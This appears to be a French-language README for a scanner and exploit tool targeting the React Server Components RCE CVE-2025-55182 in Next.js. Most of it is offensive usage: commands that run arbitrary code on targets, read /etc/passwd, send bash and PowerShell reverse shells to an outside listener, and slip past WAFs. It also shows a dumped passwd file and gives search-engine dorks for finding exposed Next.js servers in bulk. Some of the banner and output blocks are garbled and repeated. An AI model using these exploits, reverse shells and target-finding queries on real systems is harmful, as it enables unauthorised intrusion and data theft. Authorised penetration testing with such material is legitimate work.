
Vulnérabilité RCE CVE-2025-55182 dans les serveurs RSC Next.js/React (exploit et scanner)
Cet outil est conçu pour les chercheurs en sécurité et les testeurs d'intrusion afin de détecter et d'exploiter la vulnérabilité CVE-2025-55182 dans les applications Next.js/React RSC. Il fournit plusieurs modes de scan, des fonctionnalités d'exploitation et des techniques de contournement WAF.
rce, safe et vercel_bypass.Cette vulnérabilité affecte les versions suivantes de React Server Components :
Les packages suivants sont également concernés :
react-server-dom-parcelreact-server-dom-turbopackreact-server-dom-webpackgit clone https://github.com/l0n3m4n/CVE-2025-55182.git cd CVE-2025-55182
python3 -m venv venv-55182 source venv-55182/bin/activate
pip install -r requirements.txt
## Utilisation```bash
❯ python3 CVE-2025-55182.py -h
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
usage: CVE-2025-55182.py [-h] (-u URL | -f FILE) [-c COMMAND] [-p PAYLOAD] [-r LHOST:LPORT] [-sm MODE]
[-wb] [-wbs KB] [-wbu] [-o FILE] [-t NUM] [-T SEC] [-P URL] [-H HEADER] [-v]
Powerful all-in-one tool (scan and exploit) CVE-2025-55182 in Next.js applications
options:
-h, --help show this help message and exit
-u, --url URL Single URL to scan or exploit.
-f, --file FILE File containing a list of URLs to scan/exploit.
Exploitation Options:
-c, --command COMMAND Command to execute on the target(s).
-p, --payloads PAYLOAD Custom payload to execute on the target(s). Can be a string or a
file path.
-r, --reverse-shell LHOST:LPORT Attempt a reverse shell.
Scanning Options:
-sm, --scan-mode MODE Scanning technique. Choices: {rce, safe, vercel_bypass}. (default:
rce)
-wb, --waf-bypass Add junk data to the request to bypass WAFs.
-wbs, --waf-bypass-size KB Size of junk data in KB (default: 128).
-wbu, --waf-bypass-utf16le Use UTF-16LE encoding to bypass WAFs.
General Options:
-o, --output FILE File to save vulnerable URLs from scans.
-t, --threads NUM Number of concurrent threads (default: 10).
-T, --timeout SEC Request timeout in seconds (default: 10).
-P, --proxy URL Proxy to use (e.g., http://127.0.0.1:8080).
-H, --header HEADER Add custom headers (e.g., 'Cookie: session=...').
-v, --verbose Enable verbose output for success/failed/non-vulnerable checks.
rce (par défaut) : Mode de scan actif, exécute une commande echo pour confirmer la vulnérabilité. C'est la méthode la plus fiable, mais elle peut laisser des journaux sur le système cible.safe : Mode de scan par canal auxiliaire, n'exécute pas de commandes. Il vérifie la présence d'un message d'erreur spécifique (E{"digest") pour déterminer si la cible est vulnérable. C'est plus sûr que le mode rce, mais peut être moins fiable.vercel_bypass : Utilise un payload spécifique pour contourner le WAF de Vercel et vérifie la sortie de la commande dans l'en-tête X-Action-Redirect.crédit @coffinxp7
python3 CVE-2025-55182.py -u http://target.com
safe mode and 20 threadspython3 CVE-2025-55182.py -f urls.txt -sm safe -t 20
python3 CVE-2025-55182.py -f urls.txt -sm vercel_bypass -o vulnerable.txt
### Exploitation```bash
# Execute a command on a single target
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"
# Use WAF bypass techniques
python3 CVE-2025-55182.py -u http://target.com -c "whoami" -wb
# Use a custom payload string
python3 CVE-2025-55182.py -u http://target.com -p "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
# Use a custom payload from a file (windows target)
python3 CVE-2025-55182.py -u http://target.com -p windows_revshell.sh
# Get a reverse shell (linux default reverse shell)
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444
# Get a reverse shell using a payload file (linux target)
python3 CVE-2025-55182.py -u http://target.com -p linux_revshell.sh
# Force a windows reverse shell payload if auto-detection fails
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 --os windows
# Intercept in Burpsuite
python3 CVE-2025-55182.py -u http://target.com -wbu -P http://127.0.0.1:8080
$ python3 CVE-2025-55182.py -u http://target.com
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\[_____ \ / _____/| |__ ____ | | | |
| _// __ \__ \ _/ ___ __\/ ____/ \_____ \ | | \/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___\| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[+] VULNERABLE: http://target.com (Mode: rce)
$ python3 CVE-2025-55182.py -u http://target.com -v
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[+] VULNERABLE: http://target.com - Status: 500 (Mode: rce) (OS: Linux, Web Server: nginx/1.29.3)
Target Information:
Detected OS: Linux
Server Software: next.js
Content Type: text/html; charset=utf-8
System Time: Sat, 06 Dec 2025 19:59:32 GMT
Response snippet:
HTTP/1.1 500 Internal Server Error
Date: Sat, 06 Dec 2025 19:59:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4615
Connection: keep-alive
X-Powered-By: Next.js
ETag: W/"1207-I2098797987"
Vary: RSC, Next-Router-State-Tree
$ python3 CVE-2025-55182.py -u http://target.com -v
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[-] NOT VULNERABLE: https://tryhackme.com
[*] Verbose output for https://tryhackme.com:
Target Information:
Detected OS: Unknown
Server Software: cloudflare
Content Type: text/html; charset=UTF-8
System Time: Sat, 06 Dec 2025 19:59:32 GMT
Status Code: 500
Response Headers:
Date: Sat, 06 Dec 2025 19:59:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 4615
Connection: keep-alive
Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Referrer-Policy: same-origin
X-Frame-Options: SAMEORIGIN
Server: cloudflare
CF-RAY: 9a9e5d42b96204be-HKG
Response Body (first 500 chars):
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->
<!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->
<!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->
<head>
<title>Worker threw exception | tryhackme.com | Cloudflare</title>
<meta charset="UTF-8" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv
$ python3 CVE-2025-55182.py -u http://target.com -c "whoami && echo "" && cat /etc/passwd"
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Exploiting: https://target.com with command: whoami && echo "" && cat /etc/passwd
[+] COMMAND EXECUTED SUCCESSFULLY - Status: 500
----------------------------------------
nextjs
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
----------------------------------------
$ python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 -v
```bash
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Attempting reverse shell to 10.10.10.1:4444 from http://target.com
[*] Detected OS: Linux
[*] Using Linux (bash) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.
$ python3 CVE-2025-55182.py -u http://windows-target.com -r 10.10.10.1:4444 -v
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Attempting reverse shell to 10.10.10.1:4444 from http://windows-target.com
[*] Detected OS: Windows
[*] Using Windows (powershell) reverse shell payload.
[*] Please start your listener, e.g., nc -lvnp 4444
[*] Payload sent. Check your listener.
❯ python3 CVE-2025-55182.py -u http://target.com/apps -c "id && ls -al" -wbu
__________ __ ________ . . .
___ \ ____ _____ / |_ \ / /| | ____ | | | |
| // __ \ \ / \ / / _ \ | | _/ __ | | | |
| | \ / / __ \ _| | / \ / | Y \ /| || |
|| /_ > /___ >| _____ /_______ /|| /_ >_/__/
/ / / / / / / /
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit

### Erreur réseau```bash
python3 CVE-2025-55182.py -u http://target.com:3000 -c "id" -v
__________ __ ________ _________.__ .__ .__
\______ \ ____ _____ _____/ |_\_____ \ / _____/| |__ ____ | | | |
| _// __ \\__ \ _/ ___\ __\/ ____/ \_____ \ | | \_/ __ \| | | |
| | \ ___/ / __ \\ \___| | / \ / \| Y \ ___/| |_| |__
|____|_ /\___ >____ /\___ >__| \_______ \/_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/ \/ \/
Author: l0n3m4n | CVE-2025-55182 | Next.js/React RSC Scanner & Exploit
[*] Exploiting: http://target.com:3000 with command: id
[-] FAILED TO EXECUTE COMMAND
[*] Verbose output for http://target.com:3000:
Status Code: -1
Response Headers:
(No headers received)
Response Body (first 200 chars):
An error occurred: HTTPConnectionPool(host='target.com', port=3000): Max retries exceeded with url: / (Caused by ConnectTimeoutError(<urllib3.connection.HTTPConnection object at 0x7f846d6caa50>, 'Co
The tool comes with pre-made reverse shell payloads for Linux and Windows.
linux_revshell.sh: Bash reverse shell.windows_revshell.ps1: PowerShell reverse shell.http.component:"next.js"http.favicon.hash:-1766382332 (favicon Vercel)"x-powered-by: Next.js"((Next.js) and services.software.product="Next.js") and services.port=3000services.http.response.body: "_next/static"host.services.endpoints.http.headers:(key:"Vary" and value:"RSC, Next-Router-State-Tree")inurl:"/_next/static"intitle:"Next.js"site:com intitle:"Next.js"inurl:.com ("Next.js" OR "React")site:com ("Next.js" OR "_next/static")site:gov.cc ("Next.js" OR "React")site:com ("/_next/static" OR "/static/js")site:com ("React error" OR "Next.js error")header:"x-powered-by: Next.js"app:"Next.js"http.body="react.production.min.js" || http.body="React.createElement(" || app="React Router" || app="React.js"vul.cve="CVE-2025-55182"app="NEXT.JS" || app="React.js"Cet outil est destiné uniquement à des fins éducatives et de recherche. Ne l'utilisez pas sur un système sans autorisation explicite. L'auteur n'est pas responsable des dommages causés par l'utilisation de cet outil.
Les PR sont les bienvenues :)
| Catégorie | Informations |
|---|
| Publié | 2025-12-03 |
| Score de base | 10.0 (CRITIQUE) |
| Chercheur | Lachlan Davidson (https://github.com/lachlan2k) |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Description | Une vulnérabilité critique d'exécution de code à distance (RCE) dans React Server Components. Les applications utilisant le runtime côté serveur de React, y compris les frameworks comme Next.js, sont concernées. Le problème est causé par une désérialisation non sécurisée de données non fiables du protocole « Flight », permettant à un attaquant d'exécuter du code sur le serveur sans authentification. La mise à jour vers des versions corrigées de React et des frameworks est requise. |
| Score EPSS | 27,81 % (probabilité d'exploitation) |
| Catalogue KEV CISA | Répertorié : Oui, Ransomware : Inconnu |
| Hacktivité HackerOne | Rang : 1, Rapports : 92 |
| Priorité de correctif | A+ |